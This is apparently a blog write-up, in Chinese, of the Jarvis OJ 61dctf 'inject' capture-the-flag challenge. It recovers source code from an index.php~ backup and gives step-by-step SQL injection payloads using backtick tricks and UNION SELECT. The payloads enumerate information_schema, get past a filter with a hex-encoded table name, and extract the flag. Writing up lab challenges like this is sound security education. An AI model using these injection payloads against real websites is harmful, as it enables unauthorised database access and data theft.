2019-10-04 Jarvis OJ [61dctf]inject WriteUp

题目提示先获得源码,首先考虑源码泄露,运气比较好
尝试了index.php~直接获得了源码


发现这里使用了反引号,比较特别,去百度了一下,发现下面两行代码是等价的

desc abc
desc abc `abc`

因为反引号中的字符串会被当成表解析,这里只要前者表存在,即可运行,这里应该就是考察点了
那么开始注入
payload:

?table=test` ` union select database()

正常回显,加入limit 1,1,成功得到数据库名:61d300
paylaod:

?table=test` ` union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

成功得到数据表名:secret_flag,secret_test

?table=test` ` union select group_concat(column_name) from information_schema.columns where table_name=secret_flag limit 1,1

失败,考虑flag被过滤

?table=test` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

成功得到列名:flagUwillNeverKnow

?table=test` ` union select flagUwillNeverKnow from secret_flag limit 1,1

getFlag:flag{luckyGame~}

你可能感兴趣的:(2019-10-04 Jarvis OJ [61dctf]inject WriteUp)